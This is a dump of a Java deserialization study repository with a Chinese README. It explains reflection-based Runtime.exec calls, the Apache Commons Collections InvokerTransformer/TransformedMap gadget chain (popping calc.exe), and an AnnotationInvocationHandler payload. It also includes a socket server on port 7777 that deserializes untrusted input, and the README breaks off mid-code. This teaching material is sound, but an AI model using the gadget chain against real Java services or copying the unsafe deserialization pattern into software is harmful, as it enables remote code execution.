├── JavaSerialize ├── 1.txt ├── JavaSerialize.iml ├── out │ └── production │ │ └── JavaSerialize │ │ ├── JavaSerialize.iml │ │ ├── Serialize1 │ │ ├── ExecTest.class │ │ ├── Serialize.class │ │ └── Serialize2.class │ │ ├── Serialize2 │ │ ├── ApacheSerialize.class │ │ ├── ApacheSerialize2.class │ │ └── ApacheSerialize3.class │ │ ├── Server │ │ ├── Payload1.class │ │ ├── Payload2.class │ │ ├── Server1$1.class │ │ └── Server1.class │ │ ├── serialize1.txt │ │ ├── serialize2.txt │ │ ├── serialize3.txt │ │ └── web │ │ ├── WEB-INF │ │ └── web.xml │ │ └── index.jsp ├── serialize1.txt ├── serialize2.txt ├── serialize3.txt ├── src │ ├── Serialize1 │ │ ├── ExecTest.java │ │ ├── Serialize.java │ │ └── Serialize2.java │ ├── Serialize2 │ │ ├── ApacheSerialize.java │ │ ├── ApacheSerialize2.java │ │ └── ApacheSerialize3.java │ └── Server │ │ ├── Payload1.java │ │ └── Server1.java └── web │ ├── WEB-INF │ └── web.xml │ └── index.jsp └── README.md /JavaSerialize/1.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SiJiDo/JAVA-Serialize-vuln/3cc6741e444df226ead0e9871e59ce17e236a0a1/JavaSerialize/1.txt -------------------------------------------------------------------------------- /JavaSerialize/JavaSerialize.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | -------------------------------------------------------------------------------- /JavaSerialize/out/production/JavaSerialize/JavaSerialize.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | -------------------------------------------------------------------------------- /JavaSerialize/out/production/JavaSerialize/Serialize1/ExecTest.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SiJiDo/JAVA-Serialize-vuln/3cc6741e444df226ead0e9871e59ce17e236a0a1/JavaSerialize/out/production/JavaSerialize/Serialize1/ExecTest.class -------------------------------------------------------------------------------- /JavaSerialize/out/production/JavaSerialize/Serialize1/Serialize.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SiJiDo/JAVA-Serialize-vuln/3cc6741e444df226ead0e9871e59ce17e236a0a1/JavaSerialize/out/production/JavaSerialize/Serialize1/Serialize.class -------------------------------------------------------------------------------- /JavaSerialize/out/production/JavaSerialize/Serialize1/Serialize2.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SiJiDo/JAVA-Serialize-vuln/3cc6741e444df226ead0e9871e59ce17e236a0a1/JavaSerialize/out/production/JavaSerialize/Serialize1/Serialize2.class -------------------------------------------------------------------------------- /JavaSerialize/out/production/JavaSerialize/Serialize2/ApacheSerialize.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SiJiDo/JAVA-Serialize-vuln/3cc6741e444df226ead0e9871e59ce17e236a0a1/JavaSerialize/out/production/JavaSerialize/Serialize2/ApacheSerialize.class -------------------------------------------------------------------------------- /JavaSerialize/out/production/JavaSerialize/Serialize2/ApacheSerialize2.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SiJiDo/JAVA-Serialize-vuln/3cc6741e444df226ead0e9871e59ce17e236a0a1/JavaSerialize/out/production/JavaSerialize/Serialize2/ApacheSerialize2.class -------------------------------------------------------------------------------- /JavaSerialize/out/production/JavaSerialize/Serialize2/ApacheSerialize3.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SiJiDo/JAVA-Serialize-vuln/3cc6741e444df226ead0e9871e59ce17e236a0a1/JavaSerialize/out/production/JavaSerialize/Serialize2/ApacheSerialize3.class -------------------------------------------------------------------------------- /JavaSerialize/out/production/JavaSerialize/Server/Payload1.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SiJiDo/JAVA-Serialize-vuln/3cc6741e444df226ead0e9871e59ce17e236a0a1/JavaSerialize/out/production/JavaSerialize/Server/Payload1.class -------------------------------------------------------------------------------- /JavaSerialize/out/production/JavaSerialize/Server/Payload2.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SiJiDo/JAVA-Serialize-vuln/3cc6741e444df226ead0e9871e59ce17e236a0a1/JavaSerialize/out/production/JavaSerialize/Server/Payload2.class -------------------------------------------------------------------------------- /JavaSerialize/out/production/JavaSerialize/Server/Server1$1.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SiJiDo/JAVA-Serialize-vuln/3cc6741e444df226ead0e9871e59ce17e236a0a1/JavaSerialize/out/production/JavaSerialize/Server/Server1$1.class -------------------------------------------------------------------------------- /JavaSerialize/out/production/JavaSerialize/Server/Server1.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SiJiDo/JAVA-Serialize-vuln/3cc6741e444df226ead0e9871e59ce17e236a0a1/JavaSerialize/out/production/JavaSerialize/Server/Server1.class -------------------------------------------------------------------------------- /JavaSerialize/out/production/JavaSerialize/serialize1.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SiJiDo/JAVA-Serialize-vuln/3cc6741e444df226ead0e9871e59ce17e236a0a1/JavaSerialize/out/production/JavaSerialize/serialize1.txt -------------------------------------------------------------------------------- /JavaSerialize/out/production/JavaSerialize/serialize2.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SiJiDo/JAVA-Serialize-vuln/3cc6741e444df226ead0e9871e59ce17e236a0a1/JavaSerialize/out/production/JavaSerialize/serialize2.txt -------------------------------------------------------------------------------- /JavaSerialize/out/production/JavaSerialize/serialize3.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SiJiDo/JAVA-Serialize-vuln/3cc6741e444df226ead0e9871e59ce17e236a0a1/JavaSerialize/out/production/JavaSerialize/serialize3.txt -------------------------------------------------------------------------------- /JavaSerialize/out/production/JavaSerialize/web/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | -------------------------------------------------------------------------------- /JavaSerialize/out/production/JavaSerialize/web/index.jsp: -------------------------------------------------------------------------------- 1 | <%-- 2 | Created by IntelliJ IDEA. 3 | User: sijidou 4 | Date: 2019/4/1 5 | Time: 16:12 6 | To change this template use File | Settings | File Templates. 7 | --%> 8 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 9 | 10 | 11 | $Title$ 12 | 13 | 14 | $END$ 15 | 16 | 17 | -------------------------------------------------------------------------------- /JavaSerialize/serialize1.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SiJiDo/JAVA-Serialize-vuln/3cc6741e444df226ead0e9871e59ce17e236a0a1/JavaSerialize/serialize1.txt -------------------------------------------------------------------------------- /JavaSerialize/serialize2.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SiJiDo/JAVA-Serialize-vuln/3cc6741e444df226ead0e9871e59ce17e236a0a1/JavaSerialize/serialize2.txt -------------------------------------------------------------------------------- /JavaSerialize/serialize3.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SiJiDo/JAVA-Serialize-vuln/3cc6741e444df226ead0e9871e59ce17e236a0a1/JavaSerialize/serialize3.txt -------------------------------------------------------------------------------- /JavaSerialize/src/Serialize1/ExecTest.java: -------------------------------------------------------------------------------- 1 | package Serialize1; 2 | 3 | import java.lang.reflect.Method; 4 | 5 | public class ExecTest { 6 | public static void main(String[] args) throws Exception{ 7 | //Runtime.getRuntime().exec("notepad.exe"); 8 | Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null); 9 | System.out.println(runtime.getClass().getName()); 10 | Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"notepad.exe"); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /JavaSerialize/src/Serialize1/Serialize.java: -------------------------------------------------------------------------------- 1 | package Serialize1; 2 | 3 | import java.io.FileInputStream; 4 | import java.io.FileOutputStream; 5 | import java.io.ObjectInputStream; 6 | import java.io.ObjectOutputStream; 7 | 8 | public class Serialize{ 9 | public static void main(String[] args) throws Exception{ 10 | //要序列化的数据 11 | String name = "sijidou"; 12 | 13 | //序列化 14 | FileOutputStream fileOutputStream = new FileOutputStream("serialize1.txt"); 15 | ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); 16 | objectOutputStream.writeObject(name); 17 | objectOutputStream.close(); 18 | 19 | //反序列化 20 | FileInputStream fileInputStream = new FileInputStream("serialize1.txt"); 21 | ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); 22 | Object result = objectInputStream.readObject(); 23 | objectInputStream.close(); 24 | System.out.println(result); 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /JavaSerialize/src/Serialize1/Serialize2.java: -------------------------------------------------------------------------------- 1 | package Serialize1; 2 | 3 | import java.io.FileInputStream; 4 | import java.io.FileOutputStream; 5 | import java.io.ObjectInputStream; 6 | import java.io.ObjectOutputStream; 7 | 8 | public class Serialize2 { 9 | public static void main(String[] args) throws Exception{ 10 | //要序列化的数据 11 | Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null); 12 | Object evil = Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(runtime, "notepad.exe"); 13 | //Object evil = Runtime.getRuntime().exec("calc.exe"); 14 | //序列化 15 | FileOutputStream fileOutputStream = new FileOutputStream("serialize2.txt"); 16 | ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); 17 | objectOutputStream.writeObject(evil); 18 | objectOutputStream.close(); 19 | 20 | //反序列化 21 | FileInputStream fileInputStream = new FileInputStream("serialize2.txt"); 22 | ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); 23 | Object result = objectInputStream.readObject(); 24 | objectInputStream.close(); 25 | System.out.println(result); 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /JavaSerialize/src/Serialize2/ApacheSerialize.java: -------------------------------------------------------------------------------- 1 | package Serialize2; 2 | 3 | import org.apache.commons.collections.Transformer; 4 | import org.apache.commons.collections.functors.ChainedTransformer; 5 | import org.apache.commons.collections.functors.ConstantTransformer; 6 | import org.apache.commons.collections.functors.InvokerTransformer; 7 | import org.apache.commons.collections.functors.MapTransformer; 8 | import org.apache.commons.collections.map.TransformedMap; 9 | 10 | import java.io.*; 11 | import java.lang.annotation.Target; 12 | import java.lang.reflect.Constructor; 13 | import java.lang.reflect.InvocationTargetException; 14 | import java.util.HashMap; 15 | import java.util.Map; 16 | 17 | public class ApacheSerialize { 18 | public static void main(String[] args) throws Exception { 19 | Transformer[] transformers = new Transformer[] { 20 | new ConstantTransformer(Runtime.class), 21 | new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), 22 | new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), 23 | new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) 24 | }; 25 | Transformer transformerChain = new ChainedTransformer(transformers); 26 | 27 | Map innerMap = new HashMap(); 28 | innerMap.put("value", "value"); 29 | Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); 30 | 31 | Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next(); 32 | onlyElement.setValue("foobar"); 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /JavaSerialize/src/Serialize2/ApacheSerialize2.java: -------------------------------------------------------------------------------- 1 | package Serialize2; 2 | 3 | 4 | import org.apache.commons.collections.Transformer; 5 | import org.apache.commons.collections.functors.ChainedTransformer; 6 | import org.apache.commons.collections.functors.ConstantTransformer; 7 | import org.apache.commons.collections.functors.InvokerTransformer; 8 | import org.apache.commons.collections.map.TransformedMap; 9 | 10 | import java.io.*; 11 | import java.lang.annotation.Target; 12 | import java.lang.reflect.Constructor; 13 | import java.util.HashMap; 14 | import java.util.Map; 15 | 16 | public class ApacheSerialize2 implements Serializable { 17 | public static void main(String[] args) throws Exception{ 18 | Transformer[] transformers = new Transformer[]{ 19 | new ConstantTransformer(Runtime.class), 20 | new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), 21 | new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), 22 | new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) 23 | }; 24 | Transformer transformerChain = new ChainedTransformer(transformers); 25 | 26 | Map map = new HashMap(); 27 | map.put("value", "sijidou"); 28 | Map transformedMap = TransformedMap.decorate(map, null, transformerChain); 29 | 30 | Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 31 | Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); 32 | ctor.setAccessible(true); 33 | Object instance = ctor.newInstance(Target.class, transformedMap); 34 | 35 | //序列化 36 | FileOutputStream fileOutputStream = new FileOutputStream("serialize3.txt"); 37 | ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); 38 | objectOutputStream.writeObject(instance); 39 | objectOutputStream.close(); 40 | 41 | //反序列化 42 | FileInputStream fileInputStream = new FileInputStream("serialize3.txt"); 43 | ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); 44 | Object result = objectInputStream.readObject(); 45 | objectInputStream.close(); 46 | System.out.println(result); 47 | } 48 | } -------------------------------------------------------------------------------- /JavaSerialize/src/Serialize2/ApacheSerialize3.java: -------------------------------------------------------------------------------- 1 | package Serialize2; 2 | 3 | import java.io.FileInputStream; 4 | import java.io.ObjectInputStream; 5 | 6 | public class ApacheSerialize3 { 7 | public static void main(String[] args) throws Exception{ 8 | FileInputStream fileInputStream = new FileInputStream("1.txt"); 9 | ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); 10 | Object result = objectInputStream.readObject(); 11 | objectInputStream.close(); 12 | System.out.println(result); 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /JavaSerialize/src/Server/Payload1.java: -------------------------------------------------------------------------------- 1 | package Server; 2 | 3 | 4 | import java.io.ObjectInputStream; 5 | import java.io.ObjectOutputStream; 6 | import java.io.OutputStream; 7 | import java.net.Socket; 8 | 9 | public class Payload1 { 10 | public static void main(String[] args) throws Exception{ 11 | String host = "127.0.0.1"; 12 | int port = 7777; 13 | Socket client = new Socket(host, port); 14 | 15 | OutputStream outputStream= client.getOutputStream(); 16 | ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream); 17 | objectOutputStream.writeObject(getPayload("calc.exe")); 18 | objectOutputStream.flush(); 19 | objectOutputStream.close(); 20 | 21 | } 22 | private static Object getPayload(String cmd) throws Exception{ 23 | Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null); 24 | Object evil = Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(runtime, "notepad.exe"); 25 | return evil; 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /JavaSerialize/src/Server/Server1.java: -------------------------------------------------------------------------------- 1 | package Server; 2 | 3 | import java.io.BufferedInputStream; 4 | import java.io.ObjectInputStream; 5 | import java.net.ServerSocket; 6 | import java.net.Socket; 7 | 8 | public class Server1 { 9 | public static void main(String[] args) throws Exception{ 10 | ServerSocket serverSocket = new ServerSocket(7777); 11 | while(true){ 12 | Socket socket = serverSocket.accept(); 13 | getserialize(socket); 14 | } 15 | } 16 | 17 | public static void getserialize(final Socket socket){ 18 | new Thread(new Runnable() { 19 | @Override 20 | public void run() { 21 | try { 22 | ObjectInputStream objectInputStream = new ObjectInputStream(new BufferedInputStream(socket.getInputStream())); 23 | Object object = objectInputStream.readObject(); 24 | } 25 | catch(Exception e){ 26 | e.printStackTrace(); 27 | } 28 | } 29 | }); 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /JavaSerialize/web/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | -------------------------------------------------------------------------------- /JavaSerialize/web/index.jsp: -------------------------------------------------------------------------------- 1 | <%-- 2 | Created by IntelliJ IDEA. 3 | User: sijidou 4 | Date: 2019/4/1 5 | Time: 16:12 6 | To change this template use File | Settings | File Templates. 7 | --%> 8 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 9 | 10 | 11 | $Title$ 12 | 13 | 14 | $END$ 15 | 16 | 17 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | **java反序列化** 2 | 3 | **1.反序列化依靠的类和方法** 4 | 5 | ObjectOutputStream类的writeObject(Object obj) 将数据序列化成序列化的字符串 6 | 7 | ObjectInputStream类的readObject(Object obj) 将序列化的字符串反序列化成数据 8 | 9 | **2.小测试** 10 | 11 | ``` 12 | package Serialize1; 13 | 14 | import java.io.*; 15 | 16 | public class Serialize { 17 | public static void main(String[] args) throws Exception{ 18 | //要序列化的数据 19 | String name = "sijidou"; 20 | 21 | //序列化 22 | FileOutputStream fileOutputStream = new FileOutputStream("serialize1.txt"); 23 | ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); 24 | objectOutputStream.writeObject(name); 25 | objectOutputStream.close(); 26 | 27 | //反序列化 28 | FileInputStream fileInputStream = new FileInputStream("serialize1.txt"); 29 | ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); 30 | Object result = objectInputStream.readObject(); 31 | objectInputStream.close(); 32 | System.out.println(result); 33 | } 34 | } 35 | ``` 36 | 37 | 中间会生成一个serialize1.txt的文件,文件内容为序列化的内容 38 | 39 | 40 | 41 | **3.先聊聊命令执行和反射** 42 | 43 | java里面能够执行系统命令的类是Runtime类的exec()方法,至于getRuntime()其实就相当于new一个Runtime方法,下面代码可以弹出记事本 44 | 45 | ``` 46 | package Serialize1; 47 | 48 | public class ExecTest { 49 | public static void main(String[] args) throws Exception{ 50 | Runtime.getRuntime().exec("notepad.exe"); 51 | } 52 | } 53 | ``` 54 | 55 | 使用反射机制来实现Runtime的exec方法调用 56 | 57 | ``` 58 | package Serialize1; 59 | 60 | import java.lang.reflect.Method; 61 | 62 | public class ExecTest { 63 | public static void main(String[] args) throws Exception{ 64 | Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null); 65 | //System.out.println(runtime.getClass().getName()); 66 | Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"notepad.exe"); 67 | } 68 | } 69 | ``` 70 | 71 | 这里第一句Object runtime =Class.forName("java.lang.Runtime")的作用 72 | 73 | 等价于 Object runtime = Runtime.getRuntime() 74 | 75 | 又等价于 Object runtime = new Runtime() 76 | 77 | 目的是获取一个对象实例好被下一个invoke调用 78 | 79 | 80 | 81 | 第二句Class.forName("java.lang.Runtime").xxxx的作用就是调用上一步生成的runtime实例的exec方法,并将"notepad.exe"参数传入exec()方法 82 | 83 | ``` 84 | getMethod(方法名, 方法类型) 85 | invoke(某个对象实例, 传入参数) 86 | ``` 87 | 88 | 89 | 90 | **4.利用序列化执行恶意代码** 91 | 92 | 结合上面反射和序列化,将弹出记事本运用到反序列化中 93 | 94 | ``` 95 | package Serialize1; 96 | 97 | import java.io.FileInputStream; 98 | import java.io.FileOutputStream; 99 | import java.io.ObjectInputStream; 100 | import java.io.ObjectOutputStream; 101 | 102 | public class Serialize2 { 103 | public static void main(String[] args) throws Exception{ 104 | //要序列化的数据 105 | Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null); 106 | Object evil = Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(runtime, "notepad.exe"); 107 | //不用反射,直接调用也是可以触发的 108 | //Object evil = Runtime.getRuntime().exec("notepad.exe"); 109 | 110 | //序列化 111 | FileOutputStream fileOutputStream = new FileOutputStream("serialize2.txt"); 112 | ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); 113 | objectOutputStream.writeObject(evil); 114 | objectOutputStream.close(); 115 | 116 | //反序列化 117 | FileInputStream fileInputStream = new FileInputStream("serialize2.txt"); 118 | ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); 119 | Object result = objectInputStream.readObject(); 120 | objectInputStream.close(); 121 | System.out.println(result); 122 | } 123 | } 124 | ``` 125 | 126 | 把evil变量存入能运行记事本的执行代码,并将内容反序列化到文件中,再打开该文件会触发打开记事本 127 | 128 | 129 | 130 | **apache的反序列化漏洞** 131 | 132 | payload中的利用反射的结构是这样的 133 | 134 | ``` 135 | Transformer[] transformers = new Transformer[] { 136 | new ConstantTransformer(Runtime.class), 137 | 138 | new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), 139 | 140 | new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), 141 | 142 | new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) 143 | }; 144 | ``` 145 | 146 | 理解了好久,这里简述下我的理解,InvokerTransformer的构造函数如下 147 | 148 | ``` 149 | public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { 150 | this.iMethodName = methodName; 151 | this.iParamTypes = paramTypes; 152 | this.iArgs = args; 153 | } 154 | ``` 155 | 156 | 第一个是字符串,是调用的方法名,第二个是个Class数组,带的是方法的参数的类型,第三个是Object数组,带的是方法的参数的值 157 | 158 | 以getMethod举例 159 | 160 | 第一个参数"getMethod"是这个函数的名字 161 | 162 | 第二个参数new Class[]{String.class, Class[].class}是getMethod的2个参数参数类型,一个是String,一个是class[] 163 | 164 | 第三个参数new Object[]{"getRuntime", new Class[0]}是getMethod的2个参数值,一个是getRuntime,一个是空,因为是数组形式所以要这么写 165 | 166 | 上面这个组合起来相当于 getMethod(\ "getRuntime", \ null) 167 | 168 | 169 | 170 | 看下完整的payload代码 171 | 172 | ``` 173 | public class ApacheSerialize { 174 | public static void main(String[] args) throws Exception { 175 | Transformer[] transformers = new Transformer[] { 176 | new ConstantTransformer(Runtime.class), 177 | new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), 178 | new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), 179 | new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) 180 | }; 181 | 182 | //将transformers数组存入ChaniedTransformer这个继承类 183 | Transformer transformerChain = new ChainedTransformer(transformers); 184 | 185 | //创建Map并绑定transformerChina 186 | Map innerMap = new HashMap(); 187 | innerMap.put("value", "value"); 188 | Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); 189 | 190 | //触发漏洞 191 | Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next(); 192 | onlyElement.setValue("foobar"); 193 | } 194 | } 195 | ``` 196 | 197 | 198 | 199 | 整体说一下这个反序列化实现的过程 200 | 201 | 在`InvokerTransformer`下存在以下的处理过程 202 | 203 | ``` 204 | public Object transform(Object input) { 205 | if (input == null) { 206 | return null; 207 | } else { 208 | try { 209 | Class cls = input.getClass(); 210 | Method method = cls.getMethod(this.iMethodName, this.iParamTypes); 211 | return method.invoke(input, this.iArgs); 212 | } catch (NoSuchMethodException var4) { 213 | throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); 214 | } catch (IllegalAccessException var5) { 215 | throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); 216 | } catch (InvocationTargetException var6) { 217 | throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6); 218 | } 219 | } 220 | } 221 | ``` 222 | 223 | 可以看到它利用了反射进行调用函数,Object是传进来的参数,`this.iMethodName`,`this.iParamTypes`和`this.iArgs`是类中的私有成员 224 | 225 | 这反射类比下正常的调用就是如下形式 226 | 227 | ``` 228 | input.(this.iMethodName( this.iArgs[0], this.iArgs[1])) 229 | ``` 230 | 231 | `input`是类名, `this.iMethodName`是方法名, 之后的`this.iParamTypes`是参数类型,`this.iParamTypes`是参数的值 232 | 233 | 查看3个私有变量传进来的方式,是利用的构造函数,即在new的时候,把参数代入到私有成员 234 | 235 | ``` 236 | public class InvokerTransformer implements Transformer, Serializable { 237 | private final String iMethodName; 238 | private final Class[] iParamTypes; 239 | private final Object[] iArgs; 240 | 241 | public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { 242 | this.iMethodName = methodName; 243 | this.iParamTypes = paramTypes; 244 | this.iArgs = args; 245 | } 246 | ``` 247 | 248 | 因此我在payload中第一部生成的transformers数组的效果等价于 249 | 250 | ``` 251 | transformers[1] 252 | input.getMethod("getRuntime", null) 253 | 254 | transformers[2] 255 | input.invoke(null, null); 256 | 257 | transformers[3] 258 | input.exec("calc.exe"); 259 | ``` 260 | 261 | input是后面调用`transform(Object input)`的传参,但是这3个明显是闲散的,我们的目的是把它们组合起来 262 | 263 | 回到payload中`transformers`数组的第一个值是 264 | 265 | ``` 266 | new ConstantTransformer(Runtime.class) 267 | ``` 268 | 269 | 为什么它的画风和其他的值不一样,这个我理解的是它会告诉之后的操作是从哪个类里面进行查找的 270 | 271 | 下面的`ChainedTransformer`是将数组存储为一个对象 272 | 273 | ``` 274 | Transformer transformerChain = new ChainedTransformer(transformers); 275 | ``` 276 | 277 | 上面的对象将当做参数绑定到`TransformedMap`中,当然一同绑定的还有一个普通的hashmap对象 278 | 279 | ``` 280 | Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); 281 | ``` 282 | 283 | 这里说明下为什么要申请个`TransformedMap`对象 284 | 285 | 我们为了把`transform`里面的内容组合起来,`TransformedMap`中有个如下函数 286 | 287 | ``` 288 | protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { 289 | super(map); 290 | this.keyTransformer = keyTransformer; 291 | this.valueTransformer = valueTransformer; 292 | } 293 | 294 | protected Object checkSetValue(Object value) { 295 | return this.valueTransformer.transform(value); 296 | } 297 | ``` 298 | 299 | 申请对象的时候 上面传进来的`TransformerChian`会存储在`this.valueTransformer`中,然后`checkSetValue(Object value)`会调用`this.valueTransformer`的transform方法,并且参数是从checkSetValue中传参数入的 300 | 301 | 看一下`ChainedTransformer`类的transform方法 302 | 303 | ``` 304 | public Object transform(Object object) { 305 | for(int i = 0; i < this.iTransformers.length; ++i) { 306 | object = this.iTransformers[i].transform(object); 307 | } 308 | 309 | return object; 310 | } 311 | ``` 312 | 313 | 是一个反复的循环调用,后面一个transformers调用前面一个tranformers的返回值,并且会遍历一遍数组里面的所有值 314 | 315 | 再看看之前构造的chainedTransformer对象里面的内容 316 | 317 | ``` 318 | [0]是ConstantTransformer对象,它会返回new时候的参数中的Object对象,这里也是就是"java.Runtime" 319 | [1]-[3]是InvokerTransformer对象,调用的是反射的代码 320 | ``` 321 | 322 | 然后调用这个`TransformedMap`对象的利用 Map.Entry取得第一个值,调用修改值的函数,会触发下面的setValue()代码 323 | 324 | ``` 325 | public Object setValue(Object value) { 326 | value = this.parent.checkSetValue(value); 327 | return this.entry.setValue(value); 328 | } 329 | ``` 330 | 331 | 而其中的checkSetValue()实际上是触发TransoformedMap的checkSetValue()方法,而此次的this.valueTransformer就是ChianedTransformer类,之后就会触发漏洞利用链 332 | 333 | ``` 334 | protected Object checkSetValue(Object value) { 335 | return this.valueTransformer.transform(value); 336 | } 337 | ``` 338 | 339 | 整理一下思路 340 | 341 | ``` 342 | ChianedTransformer可以理解为一个数组容器 343 | ChianedTransformer里面装了4个transform 344 | TransoformedMap绑定了ChiandTransformer 345 | 346 | step1 : 利用TransoformedMap的setValue触发ChianedTransformer的transform 347 | 348 | step2 : ChianedTransformer的transform是一个循环调用该类里面的transformer的transform方法 349 | 350 | step3 : 第一次循环调用ConstantTransformer("java.Runtime")对象的transformer调用参数为"foobar"(正常要修改的值),结果无影响 351 | 352 | step4 : 第二次循环调用InvokerTransformer对象getMethod("getRuntime",null)方法,参数为("java.Runtime")会返回一个Runtime.getRuntime()方法 353 | 相当于生产一个字符串,但还没有执行,"Rumtime.getRuntime();" 354 | 355 | step5 : 第三次循环调用InvokerTransformer对象Invoke(null,null)方法,参数为Runtime.getRuntime(),那么会返回一个Runtime对象实例 356 | 相当于执行了该字符串,Object runtime = Rumtime.getRuntime(); 357 | 358 | step6 : 第四次循环调用InvokerTransformer对象exec("clac.exe")方法,参数为一个Runtime的对象实例,会执行弹出计算器操作 359 | 调用了对象的方法,runtime.exec("clac,exe") 360 | 361 | ``` 362 | 363 | 至此已经能够触发漏洞了,之后还会执行什么步骤无关紧要了 364 | 365 | 366 | 367 | **反序列化漏洞实现** 368 | 369 | 上面的代码只是作为一段小脚本执行了,但是没有被用来通过网络传输payload,然后被反序列化利用,并且还要满足被反序列化之后还会改变map的值等总总因素的影响,假设一个理想的情况如下 370 | 371 | ``` 372 | public class ApacheSerialize2 implements Serializable { 373 | public static void main(String[] args) throws Exception{ 374 | Transformer[] transformers = new Transformer[]{ 375 | new ConstantTransformer(Runtime.class), 376 | new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), 377 | new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), 378 | new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) 379 | }; 380 | Transformer transformerChain = new ChainedTransformer(transformers); 381 | 382 | Map map = new 